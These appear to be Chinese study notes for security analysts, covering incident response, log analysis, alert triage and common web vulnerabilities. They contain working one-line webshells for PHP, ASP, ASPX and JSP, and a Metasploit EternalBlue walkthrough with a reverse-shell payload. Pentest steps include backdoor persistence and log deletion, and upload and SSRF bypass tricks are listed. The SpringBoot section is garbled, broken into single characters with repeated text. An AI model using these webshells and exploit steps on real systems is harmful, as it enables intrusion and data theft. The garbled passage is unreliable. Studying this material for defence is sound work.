1.Linux排查思路
(1)首先检测用户账号安全,如新增用户和可疑用户以及高权限用户。
(2)history命令查看历史linux指令,uptime查看用户登录信息
(3)检查端口(netstat命令)和进程(ps命令),重点观察资源占用率高的进程
(4)检查日志信息,var/log文件夹内的一些系统日志和安全日志。
(5)利用自动化查杀工具进项查杀。
2.Linux常见命令
a.相对重要
pwd: 显示当前所在目录的路径。
touch:用于创建新文件或更新文件的时间戳。
cp:用于将文件或目录从一个位置复制到另二个位置。
mv:用于将文件或目录从一个位置移动到另一个位置,也可以用来重命名文件或目录。
rm:用于删除文件或目录。
mkdir:用于创建新的目录。
rmdir:用于删除空目录。
grep:用于在文件中查找匹配的字符串或模式。
find:用于在文件系统中查找文件。
top:查看内存/显示系统当前进程信息
df -h:查看磁盘储存状况
iotop:查看IO读写(yum install iotop安装)
iotop -o:直接查看比较高的磁盘读写程序
netstat -tunlp | grep 端口号:查看端口号占用情况(1)
lsof -i:端口号:查看端口号占用情况(2)
uptime:查看报告系统运行时长及平均负载
ps aux:查看进程
b.查看系统进程
ps、top、htop、pstree
ps:列出正在运行的进程信息。可以使用不同选项来显示不同信息,如进程ID、CPU使用率、内存使用情况等。
ps -ef:列出所有进程的完整信息
ps aux:以用户为基础列出进程的信息
top:实时查看系统的进程活动情况。可以显示系统的运行状态、CPU使用率、内存使用情况等。
top # 查看系统的进程活动情况
top -p 1234 # 查看进程ID为1234的进程活动情况
htop命令:类似于top命令,不同之处在于htop使用图形界面显示进程信息,可以更直观地了解系统进程使用情况。
htop # 通过图形界面查看系统的进程活动情况
htop -u root # 查看root用户的进程活动情况
htop -p 1234 # 查看进程ID为1234的进程活动情况
pstree命令:以树状结构显示进程之间的关系。可以查看当前系统运行的所有进程,并显示它们之间的关系。
pstree # 以树状结构显示所有进程信息
pstree -p # 显示所有进程的PID号
pstree firefox # 显示名为firefox的进程及其子进程
c.查看端口号占用情况
可以使用netstat -tunlp | grep 端口号命令来查找占用特定端口号的进程
netstat -tunlp | grep 端口号
使用以下命令查找占用特定端口的进程ID
lsof -i:端口号
使用以下命令来终止该进程(假设进程ID为12345,你需要将其替换为实际的进程ID)
sudo kill -9 12345
d.查看文件类型
ls -l 或者 ll (ls -l 别名)
file命令
stat命令
3.应急响应
PDCERF模型:
● 准备阶段:将 PDCERF 中可能会使用到的工具、知识、技能进行提前准备,为后面的流程节约时间。
● 检测阶段:目的是确认入侵事件是否发生。常见的漏洞通过分析日志即可,而病毒需要进行进一步的分析。病毒本身必然有网络行为,内存必然有其二进制代码,它要么是单独的进程模块,要么是进程的dll/so模块,通常,为了保活,它极可能还有自己的启动项、网络心跳包。
● 遏制阶段:目的是控制事件影响范围,避免黑客在内网中进一步扩大攻击面。
● 根除阶段:目的是避免黑客再度侵入。
● 恢复阶段:目的是恢复业务的连续性。
● 跟踪总结阶段:目的是思考安全事件的根本原因,优化安全策略.
具体操作:
● 事件判断:判断是否是安全事件,是哪种安全事件(勒索,挖矿,断网,ddos)
● 临时处理:给出客户临时处置建议,断网隔离,保护现场环境
● 信息收集分析:收集客户信息和中毒主机信息,包括样本,日志分析,进程分析,启动项分析
● 清理处置:直接杀掉进程,删除文件,打补丁,亦或是修复文件
● 产出报告:整理并输出完整的安全事件报告
4.日志分析
a.windows
路径:C:\Windows\System32\winevt\Logs,也可以直接在事件查看器上查看日志
● 系统日志(System.evtx):系统组件运行中产生的事件,包括应用程序、组件、驱动程序等,事件包括数据丢失、错误,系统或应用崩溃等
● 安全日志(Security.evtx):安全日志主要记录安全事件有关的日志,包括登录或退出系统成功或失败信息,对重要文件的操作
● 应用程序日志(Application.evtx):应用程序所产生的各类事件
常见事件id:
4720 创建用户
4624 登录成功
4625 登录失败
4672 特殊权限用户
4728 把用户添加到启用安全性的全局组中
4732 把用户添加到启用安全性的本地组中
4776 账户认证成功/失败
7030 创建服务失败
7045 创建服务
7040 IPSEC服务从禁用变成自启动
分析中心有什么日志:
● 告警日志、原始日志、终端日志等
日志分析:
--事件查看器
--powershell
Get-EventLog Security-InstanceId 4672
Get-WinEvent-FilterHashtable @{LogName='Security';ID='4672'}
--FullEventLogView日志检索工具
b.Linux
日志路径:var/log
wtmp 记录登录进入、退出、数据交换、关机和重启
cron 记录与定时任务相关的日志信息
messages 记录系统启动后的信息和错误日志
apache2/access.log 记录Apache的访问日志
auth.log 记录系统授权信息,包括用户登录和使用的权限机制等
userlog 记录所有等级用户信息的日志
xferlog(vsftpd.log) 记录Linux FTP日志
lastlog 记录登录的用户,可以使用命令lastlog查看
secure 记录大多数应用输入的账号与密码,以及登录成功与否
faillog 记录登录系统不成功的账号信息
日志分析:
tail-n 10 test.log查询最后10行的日志 head-n 10 test.log查询头10行的日志
tail-n+10 test.log查询10行后的所有日志 head-n-10 test.log查询除最后10行的其他所有日志
c.日志排查暴力破解是否成功登录
● 在Linux系统,ssh登录的日志信息存储在/var/log/auth.log文件
● 在Windows系统,ssh登录的日志信息存储在 事件查看器->Windows日志->安全->ID为4624的事件
● 如果发现有大量的登录尝试,服务器就可能已经被暴力破解了
5.排查思路相关
a.天眼告警主机外联的排查思路
● 主机外联主要判断主机请求的外网地址是否是恶意,或者是dnslog相关平台域名,若地址在威胁情报查询是恶意或请求dnslog相关域名次数较多,可判断主机异常。
b.天眼文件上传排查
● 看回显是否200、有文件上传路径,是否有上传文件的访问成功日志
c.实机文件上传排查思路
● web目录下做webshell扫描(工具可用d盾、河马webshell等)
● 查看web目录近期新增或修改的文件,排查是否有恶意文件。
6.设备告警相关
a.如何处理通用思路:
根据告警类型,分析回显特征是否利用成功。若数据包无法判断,可以复现漏洞判断。判断告警如果确实利用成功,立刻通报到研判组或客户侧。
b.哪个模块看告警的全部信息
威胁感知模块
c.sql注入告警报文有什么特征
请求头或请求体存在sql查询相关的语句,若成功可能会有后台数据回显或者数据库报错回显
d.判断挖矿木马告警
● 如果从流量判断挖矿木马,需要确认是否有挖矿协议流量,常见的有jsonrpc之类的协议流量。
● 如果是威胁情报告警,将目的ip地址放入到威胁检测平台做检测,看是否被打上矿池标签。
● 判断挖矿木马挖矿时间
● 判断挖矿木马的传播范围
● 了解网络部署环境
e.面对很多条告警首先关注哪些的告警
遇着这种情况一方面优先分析成功告警,再分析成功之外的其他高危告警,如webshell、命令执行等等。最后分析剩余告警。同时对于攻击频率较高的攻击ip及时上报封堵,可有效减少告警量。
f.攻击成功却没有告警是什么情况
● 可能使用了0day或其他未知漏洞,这些不会被设备检测到
● 使用代理或其他技术隐藏了攻击来源
● 如何防护:使用入侵检测系统(IDS)和入侵防御系统(IPS)等安全设备来检测和组织攻击;实施网络隔离和访问控制策略,以限制攻击者的活动范围
g.文件上传0day没有任何告警,如何上机排查
(1)写个目录监控的脚本,如果有新文件直接咔擦掉
(2)根据文件创建的时间和后缀名
(3)webshell查杀先扫一波网络目录
h.邮件服务器报事件告警有几种可能
邮件服务器告警有两种可能:
● 一是邮件服务器负责转发邮件至各个用户,所以钓鱼或病毒邮件接收端首先是邮件服务器ip;
● 二是邮件服务器假设的网站存在漏洞可能被攻陷。
i.用模糊搜索告警名称
使用*加部分名称进行检索
j.什么告警不能很快分析出来
● 部分sql注入无明显回显
● 利用dnslog执行命令
7.判断是否是真实攻击
a.通用思路
(1)检查日志
(2)分析攻击流量
(3)使用威胁情报平台,查看是否有相关的攻击记录
(4)使用漏扫,看有没有已知的漏洞
(5)使用安全监控工具,对系统进行实时监控
b.判断文件上传是不是真实攻击
(1)检查上传文件,是否包含恶意代码
(2)分析上传流量,是否符合已知攻击模式
(3)使用漏扫,查看是否有已知的漏洞
(4)使用安全监控工具,对系统进行监控
c.如何判断sql注入是不是真实攻击
● 查看请求头响应体,如果包含and1=1或者是sleep等说明是有攻击的
● 再查看响应码,如果响应码为404说明没有成功,200则大功率成功
● 检查日志文件:检查web服务器和数据库服务器的日志文件,查看是否有异常请求或错误
● 使用sql注入检测工具:sqlmap,检测web应用程序中的漏洞
● 检查输入:检查web应用程序中的输入字段
● 检查输出:检查web应用程序的输出,以确保它们不会泄露敏感信息
d.判断webshell是不是真实攻击
● 基于流量的Webshell检测:基于流量的Webshell检测方便部署,我们可通过流量镜像直接分析原始信息
● 基于payload的行为分析,我们不仅可对已知的Webshell进行检测,还可识别出未知的、伪装性强的Webshell,对Webshell的访问特征(IP/UA/Cookie)、payload 特征、path 特征、时间特征等进行关联分析,以时间为索引,可还原攻击事件
● 基于文件的Webshell检测:我们通过检测文件是否加密(混淆处理),创建 Webshell 样本 hash 库,可对比分析可疑文件。对文件的创建时间、修改时间、文件权限等进行检测,以确认是否为 Webshell
● 基于日志的Webshell检测:对常见的多种日志进行分析,可帮助我们有效识别 Webshell 的上传行为等。通过综合分析,可回溯整个攻击过程
e.判断反序列化是不是真实攻击
通过查看反序列化后的数据,可以看到反序列化数据开头包含两字节的魔术数字,这两个字节始终为十六进制的0xACED
8.内存马查杀
● 源码检测法:注入jar包,dump已加载class字节,反编译为Java,源码webshell检测
● 利用java-memshell-scanner或findshell脚本进行查杀
● 利用java的诊断工具arthas进行查杀
● 如果是jsp注入,日志中排查可疑jsp的访问请求。
● 如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法
● 根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
● 如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。
● 如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200
9.渗透测试流程
(1)信息收集
a. 服务器的相关信息(真实 ip,系统类型,版本,开放端口,WAF 等)
b. 网站指纹识别(包括,cms,cdn,证书等),dns 记录
c. whois 信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
d. 子域名收集,旁站查询(有授权可渗透),C 段等
e. google hacking 针对化搜索,pdf 文件,中间件版本,弱口令扫描等
f. 扫描网站目录结构,爆后台,网站 banner,测试文件,备份等敏感文件泄漏等
i. 传输协议,通用漏洞,exp,github 源码等
(2)制定攻击计划
利用已知的信息,制定一份目标可能存在漏洞地方的攻击计划
(3)漏洞测试/漏洞挖掘
a. 浏览网站,看看网站规模,功能,特点等
b. 端口,弱口令,目录等扫描
c. XSS,SQL 注入,命令注入,CSRF,cookie 安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授访问,目录遍历,文件包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等
(4)漏洞利用,权限提升
通过漏洞拿到web的权限, 然后提升到最高权限,提权服务器,比如 windows 下 mysql的udf提权,serv-u 提权,windows低版本的漏洞,如 iis6,pr,巴西烤肉,linux 脏牛漏洞,linux 内核版本漏洞提权,linux下的mysql system 提权以及 oracle 低权限提权
(5)权限维持
通过创建后门、账户、计划任务等方式,达到权限维持
(6)内网扫描
通过相关的工具、命令,进行内网主机、端口探测,明文信息收集
(7)建立隧道代理
通过msf或者nc等相关代理工具,建立隧道
(8)内网攻击、权限提升
通过漏洞拿到一个账户,然后进行利用,提权
(9)痕迹清理
删除相关的web、系统日志
(10)总结报告及修复方案
10.溯源(初中级)
(1)安全设备报警
(2)威胁情报平台
(3)蜜罐系统
(4)日志和流量分析
(5)通过邮件钓鱼
(6)Ip定位
11.OWASP TOP 10
失效的访问控制
加密机制失效
注入(包括跨站脚本攻击XSS和SQL注入等)
不安全设计
安全配置错误
自带缺陷和过时的组件
身份识别和身份验证错误
软件和数据完整性故障
安全日志和监控故障
服务端请求伪造SSRF
12.sql注入
a.原理:
通过某种方式将恶意的sql代码添加到输入参数中,然后传递到sql服务器使其解析并执行的一种攻击手法。
b.漏洞产生的原因:
用户对sql查询语句参数可控
原本程序要执行的SQL语句,拼接了用户输入的恶意数据
c.SQL注入的类型:
联合注入;堆叠注入;宽字节注入;cookie注入;XFF头注入;UA注入(user-agent注入);Referer注入;二次注入;base64注入;万能密码;文件读写;
盲注:
(1).基于时间的盲注 sleep() benchmark()
(2).基于布尔的注入
(3).基于报错的注入 updatexml() extractvalue() floor() exp()
d.sql注入危害:
获取数据库数据;网页篡改;网页挂马;篡改数据库数据;获取服务器权限
e.防范SQL注入的方法和原理:
预编译 (数据库不会将参数的内容视为SQL命令执行,而是作为一个字段的属性值来处理)
PDO预处理 (本地和Mysql服务端使用字符集对输入进行转义)
正则表达式过滤 (如果用户输入了非法信息则利用正则表达式过滤)
SQL 服务运行于专门的账号,并且使用最小权限
限制 SQL 服务的远程访问,只开放给特定开发人员
f.SQL注入绕过:
1.大小写绕过注入
2.双写绕过注入
3.编码绕过注入
4.内联注释绕过注入
13.XSS(跨站脚本攻击)
a.攻击原理
攻击者在Web页面中注入恶意的Script代码,当用户浏览该网页时,嵌入的Script代码会被执行,从而达到攻击的目的。
b.攻击类型
1.反射型XSS(非持续型):浏览器—服务器—浏览器
将用户输入的数据通过URL的形式直接或未经过完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据(黑客通常需要通过诱骗或者加密变形等方式,将恶意代码的链接发送给用户,用户触发后才能攻击成功)
2.存储型XSS(持续型):浏览器—服务器—数据库—服务器—浏览器(可直接产生大范围危害,具有较强的稳定性)
web应用程序将用户输入的数据信息保存在服务端的数据库或者其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,只要用户访问具有XSS攻击脚本的网页时,就会触发攻击。
3.DOM型XSS:URL——>浏览器(由于构造语句难度较大,比较少见)
是由JavaScript的DOM节点编程可以改变HTML代码的特性形成的XSS攻击,需要针对具体的JavaScript DOM代码进行分析,从而利用;它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的DOM解析。
c.XSS的利用方式(危害)
窃取cookie
抓取屏幕截图
获取键盘记录
重定向
植入广告,恶意链接
网页钓鱼
网页挂马
结合网页挂马或者其他工具(Metasploit)获取服务器或者操作系统权限
d.XSS的绕过方法
大小写转换;
引号的使用;
使用 / 代替空格;
编码绕过(将字符进行十进制或者十六进制转码);
双写绕过;
使用制表符 换行符和回车符
使用 IMG 源
e.防范措施
● 对用户的输入进行过滤
● 使用 HttpOnly Cookie(无法通过js脚本将读取到cookie信息)
● 设置X-XSS-Protection属性
● 开启CSP网页安全策略
● 避免内联事件
14.csrf(跨站请求伪造)漏洞
a.CSRF原理
web应用程序在用户进行敏感操作时,如修改账号密码、添加账号、转账等,没有校验表单token或者http请求头中的referer值,从而导致恶意攻击者利用普通用户的身份(cookie)完成攻击行为。
攻击者构造一个恶意网页,当用户访问该网页时,会自动向目标网站发送一个请求,由于用户已经在目标网站上登录,所以该请求会带有用户的身份认证信息,如果目标网站没有进行csrf防护,那么就会执行该请求,从而导致安全问题。
b.CSRF类型
● GET型
● POST型
c.CSRF危害
● 盗用其他用户或者管理员的账号
● 获取个人隐私或者机密资料
● 联合其他漏洞组合拳
比如说拿到管理员账号之后,我们在某个页面利用XSS漏洞进行网页挂马,普通用户访问后就会下载木马程序,进而联合MSF或者CS等工具getshell。再比如说你把管理员密码还原一下,真正管理员登录的时候也会受到网页挂马的影响,结合工具可以进一步拿下管理员主机权限。
d.CSRF防范措施
● 验证码验证
● 在请求地址中添加随机token 并验证
● 验证 HTTP头的Referer 字段
15.ssrf(服务器端请求伪造)
a.SSRF原理
由服务器发起
当攻击者想要访问服务器B上的服务,但是由于存在防火墙或者服务器B是属于内网主机等原因导致攻击者无法直接访问。如果服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,达到攻击内网的目的。
b.SSRF出现点
分享:通过URL地址分享网页内容
转码服务(通过URL地址把原地址的网页内容调优,使其适合手机屏幕的浏览)
在线翻译
图片加载与下载:通过URL地址加载或下载图片
图片、文章收藏功能
未公开的api实现及调用URL的功能
从URL关键字中寻找
c.SSRF利用的端口及协议
file(445)
ftp(21)
dict(2628)
http(80)
https(443)
gopher
php
d.SSRF危害
(1).内网探测:
如当某文件上传支持远程文件上传,则可以输入http://127.0.0.1:3306来检查端口是否开启
其中IP可以换成任意内网ip进行访问
可以通过爆破确定内网的ip和端口:
内网ip:10.x.x.x 172.16.x.x到172.31.x.x 192.168.x.x
然后进行后续操作
(2).内网应用攻击:
攻击运行在内网或者本地的应用程序(利用跨协议通信技术),比如redis、mysql等等只能本地访问的应用
攻击redis:利用6379端口,使用dict协议向Redis数据库写shell
(3).文件读取:
常用协议:file(445),ftp(21),dict(2628),gopher,php,http(80),https(443)等
如查看本地文件:file:///C:/x.txt或?url=file:///flag
(4).dos攻击:
请求大文件,始终保持连接keep-alive always
(5).获取网站真实ip:
网站往往都有CDN,通过SSRF抓包可以获取真实ip
e.SSRF漏洞绕过
使用短链接
采用302跳转
使用能解析到本地的公共域名
使用其他进制的ip
添加一些url标志混淆
句号绕过
利用@绕过限制白名单域名:利用@,当网站限制只能访问 http://www.xxx.com类型的域名时,可以采用http基本身份认证的方式绕过,如: http://[email protected]
f.SSRF防范
● 禁止跳转
● 对输入进行过滤,如"/“,”:"等
● 过滤返回的信息
● 统一错误信息
● 限制请求的端口
● 禁止除HTTP和HTTPS外的协议
● 对请求地址设置白名单或者限制内网IP
15.xxe(XML 外部实体注入)
a.原理
XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击
b.怎样构建XXE攻击
直接通过DTD外部实体声明
通过DTD文档引入外部DTD文档,再引入外部实体声明
通过DTD外部实体声明引入外部实体声明
c.危害
任意文件读取
系统命令执行
执行远程代码
DOS拒绝服务攻击
内网端口探测
攻击内网网站
钓鱼
d.防范
● 禁用外部实体的引入
比如PHP语言中使用libxml_disable_entity_loader(true);等方式。
Python语言中使用
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
● 过滤如SYSTEM等敏感关键字,防止非正常、攻击性的外部实体引入操作。
16.永恒之蓝漏洞(ms17-010)
● 使用了smb协议
● 永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。
● 永恒之蓝漏洞查看日志的特征:利用端口为445,且存在很多系统命令执行的流量,且该资产存在被端口扫描的告警
17.webshell
a.webshell原理:
一种恶意脚本,其目的是获得对服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除web页面、修改主页等
● 通过上传Webshell文件,利用Web服务器的漏洞或者其他安全弱点,让Webshell文件在服务器上得以执行。
b.常见后缀及一句话木马
php: <?php @eval($_POST['xxx']);?>
asp: <%eval request ("pass")%>
aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
jsp: <%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
c.常见管理工具:
菜刀,蚁剑,冰蝎,哥斯拉
d.常用webshell检查工具
● D盾防火墙
● 百度WEBDIR+
● WebShellkiller
● WEBSHELL.PUB 专注查杀
● CloudWalker(牧云)
● WebShell Detector
● BugScaner killwebshell
e.webshell怎么分析
webshell类告警看请求url是否是脚本文件,以及post数据是否是webshell流量特征,响应包是否有命令执行结果回显
18.Metasploit(msf)相关
● Metasploit(MSF)是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具。
● MSF所用功能主要可分为这几个模块,每个模块都有各自的功能领域,形成了渗透测试的流程:
Auxiliary(辅助模块)
为渗透测试信息搜集提供了大量的辅助模块支持
###
Exploits(攻击模块)
利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件。
###
Payload(攻击载荷模块)
攻击成功后促使靶机运行的一段植入代码
###
Post (后渗透攻击模块)
收集更多信息或进一步访问被利用的目标系统
###
Encoders(编码模块)
将攻击载荷进行编码,来绕过防护软件拦截
msf利用 ms17-010(永恒之蓝)漏洞
扫描:
use auxiliary/scanner/smb/smb_ms17_010(加载扫描exp)
set RHOSTS 10.101.2.11(设置被扫描IP)
run(进行扫描,观察是否存在该漏洞)
攻击:
use exploit/windows/smb/ms17_010_eternalblue (加载攻击模块)
set RHOST 10.101.2.11(被攻击机IP)
set LHOST 192.168.207.130(设置本地IP)
set LPORT 4444(设置连接端口)
set payload windows/x64/meterpreter/reverse_tcp(配置回链方式)
19.菜刀,蚁剑,冰蝎,哥斯拉流量特征
a.蚁剑
流量中最明显的特征为@ini_set(“display_errors”,“0”)
b.冰蝎
默认连接密码:Rebeyond
(AES对称加密)
(1)内置16个默认的ua(user-agent)头,可以自定义,当用户没有定义时将从系统中随机选择
(2)冰蝎数据包总是伴随着大量的content-type:application什么什么,无论GET还是POST,请求的http中,content-type为application/octet-stream;
(3)content-length 请求长度,对于上传文件,命令执行来讲,加密的参数不定长。但是对于密钥交互,获取基本信息来讲,payload都为定长。
c.菜刀
请求体中传递的payload为base64编码,并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J
d.哥斯拉
base64加密
会响应三次
(1)发送一段固定代码(payload),http响应为空
(2)发送一段固定代码(test),执行结果为固定内容
(3)发送一段固定代码(getBacisInfo)
20.中间件漏洞
a.tomcat
任意文件上传漏洞:
● 7.0版本,利用Windows的解析漏洞上传1.jsp%20、1.jsp::$DATA。
● 若是LInux+tomcat5.0~9.0,可以用1.jsp/绕过。
另外还有文件包含和未授权访问漏洞
b.apache
未知扩展名解析漏洞(任意文件上传):
● apache默认一个文件可以有多个以点分割的后缀,比如test.php.xxx,当最右边的后缀(xxx)无法识别(不在mime.types文件内),则继续向左识别,知道识别到合法后缀才能进行解析
目录遍历漏洞:
● 攻击者通过利用一些特殊字符就可以绕过服务器的安全限制,访问任意的文件。没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
● 如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。
c.iis6.0(windows)
任意文件上传:
文件夹形式:url/test.asp/shell.jpg, 则shell.jpg会被当作asp脚本运行。
文件形式:url/test.asp;shell.jpg, 则shell.jpg会被当作asp脚本运行。
如将上传的图片1.jpg命名为x.asp;.1.jpg
IIS6.0 默认的可执行文件除了.asp,还包含这三种:.asa .cdx .cer
d.Nginx解析漏洞
利用条件:以FastCGl运行;cgi.fix_pathinfo=1(全版本PHP默认为开启)
如果满足上述条件,当访问url/shell.jpg/shell.php时,shell.jpg会被当作php去执行。
Nginx 文件名逻辑漏洞(CVE-2013-4547):
影响版本:Nginx 0.8.41 ~ 1.4.3/1.5.0 ~ 1.5.7
利用过程:上传一个shell.jpg(空格)文件,注意最后为空格
访问url/shell.jpg[Ox20][Ox00].php
(两个中括号中的数字是用Burp在Hex界面中更改)
e.weblogic
反序列化命令执行:
● 利用7001端口和T3协议,用JRMP Sever生成的exp文件反弹shell
另外还有任意文件上传漏洞
21.java反序列化和shiro反序列化漏洞
a.Java反序列化
Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,其作用把对象转换成字节流,便于保存或者传输,而ObjectInputStream类的readObject()方法用于反序列化,作用就是把字节流还原成对象。
b.什么是shiro
Apache Shiro 是Java 的一个安全框架。Shiro 可以非常容易的开发出足够好的应用,其不仅可以用在JavaSE 环境,也可以用在JavaEE 环境。Shiro 可以帮助我们完成:认证、授权、加密、会话管理、与Web 集成、缓存等。
c.shiro漏洞:
cookie里面有remember字段
550利用过程:base64解密,AES解密,然后反序列化,实现命令执行等,有时不需要remember
721用的是AES-128-CBC加密,且密钥随机生成
d.shiro不出网怎么利用
shiro不出网导致的情况:目标系统存在shiro漏洞也可以进行远程命令执行,但是反弹不了shell.
解决方法:利用shiro550/721检测工具进行写webshell
1.利用工具检测是否存在shell漏洞
2.简便操作–>获取webshell进行写入webshell
3.直接连接
22.fastjon反序列化漏洞
fastjson:是阿里巴巴的开源JSON解析库,用于对JSON格式的数据进行解析和打包。Fastjon可以将java对象转为JSON格式,也可将JSON字符串转换为Java对象实现反序列化远程代码执行
漏洞流量特征:含有@type
漏洞原理:目标网站在解析@type里面的 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,然后达到代码执行,甚至命令执行的目的。只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。
fastjon<=1.2.80,该版本存在反序列化任意代码执行漏洞。
23.log4j
log4j是java的日志框架,用来帮助开发人员记录日志信息。
log4j2.x被发现存在一个严重的漏洞,该漏洞允许攻击者通过构造恶意的日志消息来远程执行任意代码。
流量特点就是数据包里面有"${}"字段。
24.Java springboot框架漏洞
springboot是一个基于spring框架的开源java web框架,它开源帮助开发人员快速构建web应用程序。
以SpringBoot SpEL表达式注入漏洞为例
漏洞条件:
● spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
● 至少知道一个触发 springboot 默认错误页面的接口及参数名
漏洞原理:
● spring boot 处理参数值出错,流程进入org.springframework.util.PropertyPlaceholderHelper类中
● 此时 URL 中的参数值会用parseStringValue方法进行递归解析
● 其中
包围的内容都会被
o
r
g
.
s
p
r
i
n
g
f
r
a
m
e
w
o
r
k
.
b
o
o
t
.
a
u
t
o
c
o
n
f
i
g
u
r
e
.
w
e
b
.
E
r
r
o
r
M
v
c
A
u
t
o
C
o
n
f
i
g
u
r
a
t
i
o
n
类的
r
e
s
o
l
v
e
P
l
a
c
e
h
o
l
d
e
r
方法当作
S
p
E
L
表达式被解析执行,造成
R
C
E
漏洞流量特征:参数中含有
"
{}包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration类的resolvePlaceholder方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞 流量特征:参数中含有"
包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration类的resolvePlaceholder方法当作SpEL表达式被解析执行,造成RCE漏洞流量特征:参数中含有"{}"或jndi、rmi、ldap字段等,${}包围的内容都会被当作SpEL表达式被解析执行,造成RCE漏洞
25.redis
Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。
默认端口:6379 sentinel.conf配置器端口为:26379
(1)未授权访问漏洞
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。
(2)远程命令执行漏洞
由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
漏洞修复:
1、禁止外部访问Redis 服务端口;
2、禁止使用root权限启动Redis服务;
3、配置安全组,限制可连接Redis服务器的IP。
26.dnslog平台
● dns_type字段? dns访问类型,比如是dns请求还是dns响应
● DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名的访问信息,类似日志文件。
● 通常用在哪些地方:
SQL盲注
无回显的XSS
无回显的命令执行
无回显的SSRF
Blind XXE
命令执行类,比如shiro反序列化、log4j2
27.免杀工程
● 免杀就是反病毒技术,它指的是一种使病毒木马免于被杀软查杀的技术,由于免杀技术的涉猎范围非常广,其中包含反会变、逆向工程、系统漏洞等和可技术,所以难度很高,其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
● 免杀的基本特征是破坏特征,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。
28.IDS和IPS
IDS为入侵检测,主要检测系统内部,运行在被控的主机上,对主机的网络行为、系统日志、进程等进行监控。
IPS为入侵防御,位于防火墙和网络设备之间,在检测到攻击时,会在遭受攻击前做好预防攻击的发生。
29.正向代理和反向代理
正向代理(不出网):是代理用户客户端,为客户端发送请求,对服务器隐藏自己的真实客户端。
反向代理:代理服务器来接收客户端的请求,然后将请求转发给内在这里插入代码片
部网络上的服务器,将从服务器上得到的结果返回给客户端。
不同点:
正向代理是用户客户端的代理,服务器不知道真正的客户端是谁;反向代理是服务器的代理,客户端不知道真正的服务器是谁;
正向代理架设在客户机和目标主机之间,反向代理架设在网络服务器端;
正向代理主要是用来解决访问限制问题;反向代理则是提供负载均衡、安全防护等作用。
30.正向shell和反向shell
● 正向Shell:攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。
● 反向Shell:被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。
31.http相关
a.请求方法
get,post,request,put,delete,options,trace,head,connect
GET请求:从服务器取回数据。只是取回数据,并不会产生其他影响。例如用GET请求访问/employee/101/张三,可以取回该员工的详细资料。
POST请求:创建一个实体,也就是一个没有ID的资源。一旦这个请求成功执行了,就会在HTTP请求的响应中返回这个新创建的实体的ID。我们通常用POST请求来上传文件或者表单。例如用POST请求访问/employee/102/李四,将会创建一个ID为102的新员工。
REQUEST : 可以获取以POST方法和GET方法提交的数据,但是速度比较慢。
